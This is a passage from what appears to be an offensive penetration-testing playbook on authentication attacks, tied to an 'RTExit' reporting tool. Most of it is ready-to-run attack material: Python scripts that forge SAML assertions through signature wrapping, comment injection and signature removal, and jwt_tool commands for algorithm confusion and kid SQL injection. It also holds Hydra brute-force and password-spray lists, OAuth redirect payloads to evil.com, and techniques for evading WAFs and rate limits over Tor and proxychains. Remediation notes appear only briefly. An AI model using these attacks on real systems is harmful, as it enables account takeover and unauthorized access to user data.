  </saml:Assertion>
</samlp:Response>
```

**Step 2 — Craft XSW payloads using SAMLraider (Burp plugin)**

```
In Burp Suite with SAMLraider plugin:
1. Capture the SAMLResponse in Proxy
2. Right-click -> Extensions -> SAML Raider -> Send to SAML Raider
3. In SAML Raider tab, select "XSW Attacks"
4. Click "Apply XSW1" through "XSW8" one at a time
5. For each variant, modify the evil assertion's NameID to admin@target.com
6. Forward and observe if admin access is granted

XSW variants:
- XSW1: Evil element before signature (Response level)
- XSW2: Evil element after signature (Response level)
- XSW3: Evil assertion wraps signature
- XSW4: Evil assertion after original
- XSW5-8: Various nesting combinations
```

**Step 3 — Manual XSW attack**

```python
python3 - <<'EOF'
import base64
from lxml import etree

# Decode original SAML response
original_b64 = "PASTE_ORIGINAL_SAML_RESPONSE_HERE"
response_xml = base64.b64decode(original_b64)
root = etree.fromstring(response_xml)

NS = {
    'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
    'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol',
    'ds': 'http://www.w3.org/2000/09/xmldsig#'
}

# Find the original assertion
assertion = root.find('.//saml:Assertion', NS)
original_id = assertion.get('ID')

# Create evil assertion with admin privileges
evil_assertion = etree.fromstring(f'''
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
  ID="evil_assertion" Version="2.0">
  <saml:Subject>
    <saml:NameID>admin@target.com</saml:NameID>
  </saml:Subject>
  <saml:AttributeStatement>
    <saml:Attribute Name="role">
      <saml:AttributeValue>admin</saml:AttributeValue>
    </saml:Attribute>
  </saml:AttributeStatement>
</saml:Assertion>''')

# XSW2: Insert evil assertion before original (moves original into Extensions)
extensions = etree.SubElement(root, '{urn:oasis:names:tc:SAML:2.0:protocol}Extensions')
extensions.append(assertion)
root.insert(list(root).index(extensions), evil_assertion)

modified_xml = etree.tostring(root, xml_declaration=True, encoding='UTF-8')
modified_b64 = base64.b64encode(modified_xml).decode()
print(f"XSW Payload (base64):\n{modified_b64}")
EOF
```

#### 3.6.3 SAML Comment Injection

```python
# Some parsers handle XML comments in ways that bypass signature checks
python3 - <<'EOF'
import base64
from lxml import etree

# Inject a comment into the NameID to confuse parsers
# Different parsers may read different parts of: user<!--comment-->admin

# Original NameID: user@target.com
# Injected NameID: admin<!--user@target.com-->@target.com

original_b64 = "PASTE_SAML_RESPONSE_HERE"
response_xml = base64.b64decode(original_b64)

# String manipulation approach (bypasses lxml's comment stripping)
xml_str = response_xml.decode()
xml_str = xml_str.replace(
    '<saml:NameID>user@target.com</saml:NameID>',
    '<saml:NameID>admin<!--user@target.com-->@target.com</saml:NameID>'
)

modified_b64 = base64.b64encode(xml_str.encode()).decode()
print(modified_b64)
EOF
```

#### 3.6.4 SAML Signature Bypass (Invalid Signature)

```bash
# Test if the SP validates signatures at all
# Decode the SAMLResponse, modify attributes, re-encode WITHOUT valid signature

python3 - <<'EOF'
import base64
from lxml import etree

original_b64 = "PASTE_SAML_RESPONSE_HERE"
response_xml = base64.b64decode(original_b64)
root = etree.fromstring(response_xml)

NS = {'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
      'ds': 'http://www.w3.org/2000/09/xmldsig#'}

# Remove the signature entirely
for sig in root.findall('.//ds:Signature', NS):
    sig.getparent().remove(sig)

# Modify the NameID to a privileged account
for nameid in root.findall('.//saml:NameID', NS):
    nameid.text = 'admin@target.com'

# Modify role attributes
for attr in root.findall('.//saml:Attribute[@Name="role"]', NS):
    for val in attr.findall('saml:AttributeValue', NS):
        val.text = 'admin'

modified_xml = etree.tostring(root)
modified_b64 = base64.b64encode(modified_xml).decode()
print(f"No-signature payload:\n{modified_b64}")
EOF
```

---

## 4. Specific Terminal Commands Reference

### JWT Tool Master Reference

```bash
# Install jwt_tool
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool && pip3 install -r requirements.txt

# Basic decode
python3 jwt_tool.py TOKEN

# Scan all vulnerabilities against target
python3 jwt_tool.py TOKEN -t https://target.com/api/profile \
  -rh "Authorization: Bearer *TOKEN*" -M at

# None algorithm attack
python3 jwt_tool.py TOKEN -X a

# RS256 to HS256 confusion
python3 jwt_tool.py TOKEN -X k -pk /tmp/public.pem

# Crack HS256 secret
python3 jwt_tool.py TOKEN -C -d /usr/share/wordlists/rockyou.txt

# Inject claim and sign with known secret
python3 jwt_tool.py TOKEN -I -pc role -pv admin -S hs256 -p "secret"

# Kid path traversal
python3 jwt_tool.py TOKEN -I -hc kid -hv "../../dev/null" -S hs256 -p ""

# Kid SQL injection
python3 jwt_tool.py TOKEN -I -hc kid -hv "' UNION SELECT 'hack'-- -" -S hs256 -p "hack"

# JKU injection (point to your own JWKS)
python3 jwt_tool.py TOKEN -X j

# X5U injection
python3 jwt_tool.py TOKEN -X x

# Embed JWK
python3 jwt_tool.py TOKEN -X e

# Modify claim in payload
python3 jwt_tool.py TOKEN -T  # interactive tamper mode

# Verify JWT against JWKS
python3 jwt_tool.py TOKEN -V -jw /tmp/jwks.json

# Output modes
python3 jwt_tool.py TOKEN -M pb  # playbook mode (all attacks)
```

### Hydra Command Reference

```bash
# HTTP POST with CSRF token (static)
hydra -L users.txt -P pass.txt target.com \
  http-post-form "/login:user=^USER^&pass=^PASS^&token=STATIC:Invalid" \
  -t 4 -w 3 -f

# HTTP GET form
hydra -L users.txt -P pass.txt target.com \
  http-get-form "/login?user=^USER^&pass=^PASS^:Invalid" -t 4

# JSON body POST
hydra -L users.txt -P pass.txt -s 443 -S target.com \
  http-post-form '/api/login:{"email":"^USER^","password":"^PASS^"}:{"error":' \
  -t 4 -H "Content-Type: application/json"

# Multiple failure strings
hydra -L users.txt -P pass.txt target.com \
  http-post-form "/login:u=^USER^&p=^PASS^:F=wrong:F=invalid:F=error" -t 4

# Success string (look for positive match)
hydra -L users.txt -P pass.txt target.com \
  http-post-form "/login:u=^USER^&p=^PASS^:S=Welcome" -t 4

# With proxy (route through Burp)
hydra -L users.txt -P pass.txt target.com \
  http-post-form "/login:user=^USER^&pass=^PASS^:Invalid" \
  -t 4 -o results.txt

# Verbose output for debugging
hydra -L users.txt -P pass.txt -V -d target.com \
  http-post-form "/login:user=^USER^&pass=^PASS^:error" -t 1
```

### Python Requests Authentication Testing

```python
import requests
from requests.exceptions import RequestException

# Session-based login with CSRF token handling
session = requests.Session()
session.headers.update({
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})

# Get CSRF token
login_page = session.get('https://target.com/login')
# Parse CSRF token (adjust selector as needed)
from html.parser import HTMLParser
class CSRFParser(HTMLParser):
    def __init__(self):
        super().__init__()
        self.csrf = None
    def handle_starttag(self, tag, attrs):
        attrs_dict = dict(attrs)
        if tag == 'input' and attrs_dict.get('name') in ['csrf_token', '_token', 'authenticity_token']:
            self.csrf = attrs_dict.get('value')

parser = CSRFParser()
parser.feed(login_page.text)
csrf_token = parser.csrf

# Submit login
response = session.post('https://target.com/login', data={
    'username': 'admin',
    'password': 'Password1!',
    'csrf_token': csrf_token
}, allow_redirects=False)

print(f"Status: {response.status_code}")
print(f"Location: {response.headers.get('Location', 'N/A')}")
print(f"Set-Cookie: {response.headers.get('Set-Cookie', 'N/A')}")
```

---

## 5. Common Payloads and Examples

### JWT Payload Manipulation Targets

```json
// Role escalation
{"role": "admin"}
{"role": "superadmin"}
{"role": ["admin", "superuser"]}
{"is_admin": true}
{"admin": 1}
{"permissions": ["read", "write", "admin"]}

// Identifier manipulation
{"sub": "1"}
{"user_id": 1}
{"uid": 0}
{"id": "00000000-0000-0000-0000-000000000001"}

// Scope expansion
{"scope": "admin read write delete"}
{"scope": ["admin", "read", "write"]}

// Token metadata
{"exp": 9999999999}
{"iat": 1000000000}
{"nbf": 0}
```

### Password Spray Candidates

```
# Seasonal passwords
Spring2024!  Summer2024!  Autumn2024!  Winter2024!
Spring2025!  Summer2025!  Autumn2025!  Winter2025!

# Common patterns
Password1!   Password123!  Password@123
Welcome1!    Welcome@2024
Admin2024!   Admin@123
Company2024! CompanyName1!

# Default credentials
admin:admin  admin:password  admin:admin123
root:root    root:toor       root:password
guest:guest  test:test       demo:demo

# Cloud default credentials
Administrator:Welcome1  administrator:Admin123!
```

### OAuth Bypass Payloads

```
# redirect_uri bypass patterns
https://target.com/callback/../evil
https://target.com/callback.evil.com
https://target.com/callback%0d%0aLocation:%20https://evil.com
https://evil.com@target.com/callback
https://target.com@evil.com/callback
https://target.com/callback?redirect=https://evil.com
javascript://target.com/%0aalert(1)

# state parameter CSRF
(omit state entirely)
state=  (empty)
state=null
state=undefined
```

### SAML Injection Payloads

```xml
<!-- NameID injection -->
<saml:NameID>admin@target.com</saml:NameID>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@target.com</saml:NameID>

<!-- Role injection -->
<saml:Attribute Name="http://schemas.microsoft.com/ws/2008/06/identity/claims/role">
  <saml:AttributeValue>admin</saml:AttributeValue>
</saml:Attribute>

<!-- Group injection -->
<saml:Attribute Name="groups">
  <saml:AttributeValue>admin</saml:AttributeValue>
  <saml:AttributeValue>Domain Admins</saml:AttributeValue>
</saml:Attribute>
```

---

## 6. Real-World Examples from Actual Engagements

### Engagement 1: SaaS Platform JWT Algorithm Confusion

**Scenario:** A B2B SaaS platform used RS256 JWTs for API authentication. The JWKS endpoint was publicly accessible.

**Attack Chain:**
1. Discovered JWKS endpoint at `/.well-known/jwks.json`
2. Extracted RSA public key (2048-bit)
3. Converted JWK to PEM format
4. Used `jwt_tool -X k` to forge an HS256 token signed with the public key
5. Modified `role` claim from `user` to `admin`
6. API accepted the forged token — full admin access achieved

**Impact:** Access to all customer data, billing, and admin configuration endpoints.

**Remediation:** Hardcode the expected algorithm server-side; never accept the algorithm from the token itself.

---

### Engagement 2: OAuth redirect_uri Open Redirect Chain

**Scenario:** An e-commerce platform implemented SSO login. The OAuth redirect_uri validation allowed any path under `target.com`.

**Attack Chain:**
1. Found open redirect at `https://target.com/goto?url=https://evil.com`
2. Crafted OAuth authorization URL:
   `https://auth.target.com/authorize?client_id=xxx&redirect_uri=https://target.com/goto?url=https://attacker.ngrok.io&response_type=code`
3. Sent the link to a support agent (social engineering)
4. Support agent clicked the link while logged in
5. Authorization code was delivered to attacker's ngrok endpoint
6. Exchanged code for access token
7. Used access token to access support agent's account

**Impact:** Account takeover of support staff, access to customer PII.

---

### Engagement 3: MFA Bypass via Response Manipulation

**Scenario:** A healthcare portal used SMS OTP for MFA. The OTP validation happened client-side with server confirmation.

**Attack Chain:**
1. Obtained valid credentials via phishing simulation
2. After password submission, intercepted the MFA request in Burp
3. Submitted OTP `000000` (wrong code)
4. Intercepted the JSON response: `{"verified": false, "token": null}`
5. Modified response to: `{"verified": true, "token": "CAPTURED_FROM_EARLIER"}`
6. Forwarded modified response — application accepted it and granted access

**Impact:** Full account access bypassing MFA protection entirely.

---

### Engagement 4: SAML XSW on Enterprise SSO

**Scenario:** An enterprise web application used SAML SSO integrated with Azure AD.

**Attack Chain:**
1. Captured a valid SAML assertion for a low-privilege user account
2. Used SAMLraider to apply XSW2 variant
3. Inserted an evil assertion with `role=admin` before the original assertion
4. The application's SAML parser read the first assertion (evil) while the signature validated the second (original)
5. Logged in as admin without any admin credentials

**Impact:** Full administrative access to the enterprise application.

---

### Engagement 5: JWT kid SQL Injection

**Scenario:** A fintech API used JWTs with a `kid` claim to select signing keys from a MySQL database.

**Attack Chain:**
1. Decoded JWT header: `{"alg": "HS256", "kid": "key-prod-1"}`
2. Injected SQL into kid: `' UNION SELECT 'mykey'-- -`
3. Signed token with `mykey` as the HMAC secret
4. API verified token successfully — SQL injection forced it to use `mykey`
5. Modified payload: `{"sub": "1", "role": "admin"}`

**Impact:** Admin-level API access, access to all user financial data.

---

### Engagement 6: Race Condition OTP Bypass

**Scenario:** A banking application used 6-digit TOTP for transaction authorization.

**Attack Chain:**
1. Captured a pending transaction authorization request
2. Obtained the TOTP code from a test account
3. Sent 50 simultaneous POST requests using Python threading
4. 3 of the 50 requests succeeded (server processed them before marking OTP as used)
5. All 3 triggered the bank transfer

**Impact:** Demonstrated that a single TOTP code could authorize multiple transactions.

---

## 7. WAF Bypass Techniques

### Hydra / Brute Force WAF Bypass

```bash
# Rotate user agents
hydra -L users.txt -P pass.txt target.com http-post-form \
  "/login:user=^USER^&pass=^PASS^:error" \
  -t 1 -w 10 \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

# Use proxy chain to rotate IPs
proxychains hydra -L users.txt -P pass.txt target.com \
  http-post-form "/login:user=^USER^&pass=^PASS^:error" -t 1

# Add delays to avoid rate limiting
hydra -L users.txt -P pass.txt target.com \
  http-post-form "/login:user=^USER^&pass=^PASS^:error" \
  -t 1 -W 30  # 30-second wait between attempts

# Rotate source IPs with Tor
torsocks hydra -L users.txt -P pass.txt target.com \
  http-post-form "/login:user=^USER^&pass=^PASS^:error" -t 1
```

### JWT WAF Bypass

```bash
# Encode the token differently
# Some WAFs block standard JWT patterns

# URL-encode the dots
curl -H "Authorization: Bearer $(echo $TOKEN | sed 's/\./\%2E/g')" \
  https://target.com/api/profile

# Use different header casing
curl -H "authorization: Bearer $TOKEN" https://target.com/api/profile
curl -H "AUTHORIZATION: Bearer $TOKEN" https://target.com/api/profile

# Use token in query parameter (if application supports it)
curl "https://target.com/api/profile?access_token=$TOKEN"
curl "https://target.com/api/profile?jwt=$TOKEN"
curl "https://target.com/api/profile?token=$TOKEN"

# Cookie-based token
curl -H "Cookie: access_token=$TOKEN; jwt=$TOKEN; auth=$TOKEN" \
  https://target.com/api/profile

# Mixed case alg to confuse WAF but pass to parser
# "HS256" -> "Hs256" -> "hS256" (depends on parser)
```

### SAML WAF Bypass

```bash
# XML encoding bypass
# Replace characters in the NameID with XML entities
# admin -> &#97;&#100;&#109;&#105;&#110;

# Namespace confusion
# Add unexpected namespaces to confuse WAF pattern matching

# Comment insertion
# Insert XML comments between significant tokens

# CDATA wrapping
# <saml:NameID><![CDATA[admin@target.com]]></saml:NameID>

# Whitespace injection
# <saml:NameID>  admin@target.com  </saml:NameID>
# Many parsers trim whitespace; WAF might not match with whitespace

# Unicode normalization
# Use Unicode look-alike characters in NameID
# (if the server normalizes Unicode before lookup)
```

---

## 8. Integration with RTExit Autodoc Engine

### Autodoc Tagging

All findings should be tagged for the RTExit autodoc engine using the following format:

```bash
# In your notes or reporting scripts, use RTExit tags:

# FINDING: Authentication bypass via JWT algorithm confusion
# SEVERITY: Critical
# CVSS: 9.8
# TECHNIQUE: rt-exploit-auth/jwt-algorithm-confusion
# TOOL: jwt_tool
# EVIDENCE: /tmp/findings/jwt_confusion_$(date +%Y%m%d_%H%M%S)/
```

### Evidence Collection Script

```bash
#!/bin/bash
# RTExit evidence collector for auth findings

ENGAGEMENT="ENG-2024-001"
FINDING_ID="AUTH-001"
EVIDENCE_DIR="/tmp/rtexit/${ENGAGEMENT}/${FINDING_ID}"
mkdir -p "$EVIDENCE_DIR"

# Capture JWT finding evidence
capture_jwt_finding() {
    local token="$1"
    local forged="$2"
    local description="$3"

    echo "=== JWT Finding Evidence ===" > "$EVIDENCE_DIR/jwt_finding.txt"
    echo "Date: $(date -u)" >> "$EVIDENCE_DIR/jwt_finding.txt"
    echo "Original Token:" >> "$EVIDENCE_DIR/jwt_finding.txt"
    echo "$token" >> "$EVIDENCE_DIR/jwt_finding.txt"
    echo "" >> "$EVIDENCE_DIR/jwt_finding.txt"
    echo "Forged Token:" >> "$EVIDENCE_DIR/jwt_finding.txt"
    echo "$forged" >> "$EVIDENCE_DIR/jwt_finding.txt"
    echo "" >> "$EVIDENCE_DIR/jwt_finding.txt"
    echo "Description: $description" >> "$EVIDENCE_DIR/jwt_finding.txt"

    # Save decoded tokens
    echo "$token" | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool \
        > "$EVIDENCE_DIR/original_payload.json"
    echo "$forged" | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool \
        > "$EVIDENCE_DIR/forged_payload.json"

    echo "[+] Evidence saved to $EVIDENCE_DIR"
}

# Capture HTTP responses as evidence
capture_response() {
    local url="$1"
    local headers="$2"
    local output_file="$EVIDENCE_DIR/response_$(date +%s).txt"

    curl -v -H "$headers" "$url" 2>&1 | tee "$output_file"
    echo "[+] Response saved to $output_file"
}

# Generate finding report snippet
generate_finding_report() {
    cat > "$EVIDENCE_DIR/finding_report.md" << EOF
## Finding: ${FINDING_ID}

**Technique:** JWT Algorithm Confusion (RS256 -> HS256)
**Severity:** Critical
**CVSS Score:** 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
**Engagement:** ${ENGAGEMENT}

### Summary
The application's JWT validation accepts the algorithm specified in the token header
without validating it against the expected algorithm. By switching from RS256 to HS256
and signing with the server's RSA public key as the HMAC secret, an attacker can forge
arbitrary JWT tokens with elevated privileges.

### Evidence
- Original token: $(cat $EVIDENCE_DIR/jwt_finding.txt | grep "Original Token:" -A1 | tail -1)
- Forged token: $(cat $EVIDENCE_DIR/jwt_finding.txt | grep "Forged Token:" -A1 | tail -1)
- Server response: See response_*.txt files

### Remediation
1. Hardcode the expected algorithm in the JWT verification configuration
2. Do not accept the algorithm from the token header
3. Use a well-maintained JWT library (e.g., python-jose, jsonwebtoken)
4. Validate the `alg` claim explicitly before signature verification

### References
- PortSwigger: https://portswigger.net/web-security/jwt/algorithm-confusion
- RFC 7518: https://tools.ietf.org/html/rfc7518
EOF
    echo "[+] Finding report saved to $EVIDENCE_DIR/finding_report.md"
}
```

### RTExit Autodoc Integration Commands

```bash
# Register a finding with RTExit
rtexit finding add \
  --skill rt-exploit-auth \
  --technique jwt-algorithm-confusion \
  --severity critical \
  --evidence-dir /tmp/rtexit/ENG-001/AUTH-001

# Generate section in report
rtexit report section auth \
  --engagement ENG-001 \
  --template auth-findings

# Attach screenshot evidence
rtexit evidence attach \
  --finding AUTH-001 \
  --file /tmp/burp_screenshot.png \
  --caption "Burp Repeater showing admin access with forged JWT"

# Mark finding as verified
rtexit finding verify AUTH-001 --verified-by "operator@team.com"
```

---

## 9. Output and Documentation Instructions

### Evidence Capture Checklist

For every authentication finding, capture the following:

**JWT Findings:**
- [ ] Original JWT (decoded header + payload)
- [ ] Forged JWT (decoded header + payload showing modification)
- [ ] HTTP request with forged token
- [ ] HTTP response showing successful bypass
- [ ] Screenshots of Burp Repeater
- [ ] Public key used (if algorithm confusion)
- [ ] Script/commands used to forge the token

**Password Attack Findings:**
- [ ] List of credentials discovered (username:password pairs)
- [ ] Hydra/Medusa output log
- [ ] Confirmation of successful login (HTTP 302 or session token)
- [ ] Evidence of lack of lockout (if applicable)
- [ ] Number of attempts sent without lockout

**OAuth Findings:**
- [ ] Original authorization URL
- [ ] Modified authorization URL with bypass
- [ ] Captured authorization code
- [ ] Token exchange request/response
- [ ] Confirmation of account access

**MFA Bypass Findings:**
- [ ] Burp intercept of MFA request and modified response
- [ ] Original and modified JSON
- [ ] Confirmation of dashboard access without valid OTP
- [ ] Session tokens obtained

**SAML Findings:**
- [ ] Original SAML assertion (XML, formatted)
- [ ] Modified SAML assertion (XML, formatted)
- [ ] Base64 encoded payload sent
- [ ] Application response confirming bypass

### Documentation Format

```markdown
## Authentication Finding: [SHORT TITLE]

**Date:** YYYY-MM-DD HH:MM UTC
**Operator:** [Operator name/handle]
**Target:** https://target.com
**Endpoint:** /api/specific/endpoint
**Technique:** [e.g., JWT Algorithm Confusion]
**Severity:** [Critical/High/Medium/Low]

### Steps to Reproduce

1. [Exact step with commands]
2. [Exact step with commands]
3. [Confirm impact]

### Evidence

```http
POST /api/login HTTP/1.1
Host: target.com
Authorization: Bearer [FORGED_TOKEN]

HTTP/1.1 200 OK
{"status": "authenticated", "role": "admin"}
` ``

### Impact

[Describe business impact]

### Remediation

[Specific remediation steps]
```

---

## 10. Resources

### JWT Tools and Libraries

- **jwt_tool** — Swiss army knife for JWT attacks
  https://github.com/ticarpi/jwt_tool

- **PyJWT** — Python JWT library (use for legitimate JWT generation)
  https://github.com/jpadilla/pyjwt

- **python-jose** — JOSE standards implementation
  https://github.com/mpdavis/python-jose

- **JWT.io** — Online JWT decoder and inspector
  https://jwt.io

- **PortSwigger JWT Labs** — Hands-on JWT attack practice
  https://portswigger.net/web-security/jwt

- **rsa_sign2n** — Derive RSA public key from two JWT tokens
  https://github.com/silentsignal/rsa_sign2n

### OAuth / OIDC Tools

- **oauth2-proxy** — Reference implementation
  https://github.com/oauth2-proxy/oauth2-proxy

- **TokenSmith** — OAuth token manipulation tool
  https://github.com/TokenSmith/TokenSmith

- **PortSwigger OAuth Labs**
  https://portswigger.net/web-security/oauth

### Password Attack Tools

- **Hydra** — Network login brute force tool
  https://github.com/vanhauser-thc/thc-hydra

- **Medusa** — Parallel network login auditor
  http://foofus.net/goons/jmk/medusa/medusa.html

- **Spray** — Smart password spraying tool
  https://github.com/Greenwolf/Spray

- **MSOLSpray** — Office 365 password sprayer
  https://github.com/dafthack/MSOLSpray

- **Kerbrute** — Active Directory brute force / spraying
  https://github.com/ropnop/kerbrute

- **SecLists** — Comprehensive wordlists collection
  https://github.com/danielmiessler/SecLists

- **CeWL** — Custom wordlist generator from web content
  https://github.com/digininja/CeWL

### SAML Tools

- **SAMLraider** — Burp Suite SAML testing plugin
  https://github.com/CompassSecurity/SAMLRaider

- **SAMLTool** — Online SAML decoder and analyzer
  https://www.samltool.com

- **PortSwigger SAML Labs**
  https://portswigger.net/web-security/saml

- **pysaml2** — Python SAML2 library
  https://github.com/IdentityPython/pysaml2

### MFA / OTP Tools

- **oathtool** — TOTP/HOTP command line tool
  https://www.nongnu.org/oath-toolkit/

- **Turbo Intruder** — High-speed Burp extension for race conditions
  https://github.com/PortSwigger/turbo-intruder

### Key References and Reading

- JWT RFC 7519: https://tools.ietf.org/html/rfc7519
- JWT Algorithms RFC 7518: https://tools.ietf.org/html/rfc7518
- OAuth 2.0 RFC 6749: https://tools.ietf.org/html/rfc6749
- PKCE RFC 7636: https://tools.ietf.org/html/rfc7636
- OWASP Authentication Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
- OWASP JWT Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html
- PortSwigger Web Security Academy: https://portswigger.net/web-security
- HackTricks JWT Attacks: https://book.hacktricks.xyz/pentesting-web/hacking-jwt-json-web-tokens
- HackTricks OAuth: https://book.hacktricks.xyz/pentesting-web/oauth-to-account-takeover
- Auth0 Docs (understanding OAuth/OIDC): https://auth0.com/docs
- NIST SP 800-63B (Digital Identity Guidelines): https://pages.nist.gov/800-63-3/sp800-63b.html

### CVEs Related to JWT Libraries

- CVE-2015-9235 — jsonwebtoken none algorithm bypass
- CVE-2016-10555 — jwt-simple algorithm confusion
- CVE-2018-0114 — Cisco JWT none algorithm
- CVE-2020-28042 — python-jwt algorithm confusion (RS/HS)
- CVE-2022-21449 — Java ECDSA "Psychic Signatures" (Java 15-17)
- CVE-2022-23529 — jsonwebtoken signature validation bypass
